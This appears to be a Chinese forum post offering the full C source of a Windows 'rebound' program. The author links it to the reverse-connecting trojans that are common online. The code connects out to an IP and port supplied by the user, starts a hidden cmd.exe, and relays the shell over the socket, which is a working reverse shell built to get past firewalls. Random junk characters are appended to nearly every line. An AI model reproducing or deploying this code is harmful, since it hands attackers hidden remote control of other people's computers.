这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P&^7wud-sb
(` Mz.VN
/* ============================== oKJ7i,xT
Rebound port in Windows NT XFe7qt;%
By wind,2006/7 WYzaD}
===============================*/ Y-{BY5E.
#include 9zd/5|W
#include KW^aARJ)
Lm#d.AD)
#pragma comment(lib,"wsock32.lib") G9Tix\SpF
&y\2:IyA
void OutputShell(); %WR"85
SOCKET sClient; i{qU RP}.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MDt?7c
7:'>~>'
void main(int argc,char **argv) <t{AY^:r
{ IxBO$2
WSADATA stWsaData; |3ETF|)?
int nRet; ZRGZ'+hw
SOCKADDR_IN stSaiClient,stSaiServer; }*
JMc+!9@
:j4
[_9\
if(argc != 3) QPE.b-S
{ %Oqe7Cx>+
printf("Useage:\n\rRebound DestIP DestPort\n"); %tQ{Hf~
return; *PU,Rc()6
} *?Ef}:]
x~tQYK
WSAStartup(MAKEWORD(2,2),&stWsaData); Q}]kw}b
#)}bUNc'
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S'p`ECfVMA
d2yHfl]3
stSaiClient.sin_family = AF_INET; (`?
snMc
stSaiClient.sin_port = htons(0); KdsvZim0>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ABmDSV5i
@ibPL+~-_
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b)^ZiRW``
{ j)6B^!
printf("Bind Socket Failed!\n"); wQB{K3
return; % ul{nL:
} OUO^/]
J1S
=c^=Yvc7U
stSaiServer.sin_family = AF_INET; w1(06A}/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g@VndAp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >ImM~SR)
<dPxy`_
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ATp 6-
{ 4,ynt&
printf("Connect Error!"); [c[MQA0
return; i9k]Q(o
} &})d%*n
OutputShell(); .|`=mx
} HKN"$(Q
(H%d]
void OutputShell() Ilu`b|%D
{ :ONuWNY
N
char szBuff[1024]; [71#@^ye
SECURITY_ATTRIBUTES stSecurityAttributes; `zzKD2y
OSVERSIONINFO stOsversionInfo; 5h|m4)$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !V]MLA`
STARTUPINFO stStartupInfo; Rg?{?qK\K
char *szShell; N;x<| %peL
PROCESS_INFORMATION stProcessInformation; ^?s~Fk_V
unsigned long lBytesRead; ^#BGA|j
7edPH3
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $\,BpZ
}3
)zW%\s*'
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cl t5
stSecurityAttributes.lpSecurityDescriptor = 0; X<Th{kM2
stSecurityAttributes.bInheritHandle = TRUE; *TM;trfz
z
_O,Y
XVrm3aj(m
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -Wlp=#9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =sE2}/g
p<=(GY-
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $!|8g`Tm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -t@y\vZF,
stStartupInfo.wShowWindow = SW_HIDE; Q e>i{:N
stStartupInfo.hStdInput = hReadPipe; .:{h{@a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TvunjTpaj
}XX~
W}M(\
GetVersionEx(&stOsversionInfo); r zM Fof
VqK%^
switch(stOsversionInfo.dwPlatformId) Ml8 YyF/~
{ G$;]
?g
case 1: 7Wwp )D
szShell = "command.com"; <%d51~@={I
break; >~I
xyQp
default: >=-GD2WK
szShell = "cmd.exe"; U1,~bO9
break; `z|=~
}
&W=V%t>Z
f^W[;w
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Sl3KpZ
4%g6_KB
send(sClient,szMsg,77,0); ?HrK\f3wWO
while(1) }>MP{67Dm
{ Sa3I?+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #ZG3|#Q=L
if(lBytesRead) #TMm#?lC
{ yicO!:bM
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YfE>Pn'r
send(sClient,szBuff,lBytesRead,0); qbS'|--wH
} Yim{U:F
else }.0Bl&\UK
{ d"#gO,H0
lBytesRead=recv(sClient,szBuff,1024,0); bTZ>@~$
if(lBytesRead<=0) break; &qJPwO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); weNzYMf%
} U'tE^W
} \Sg<='/{L;
=%!e(N'p
return; CY34X2F
}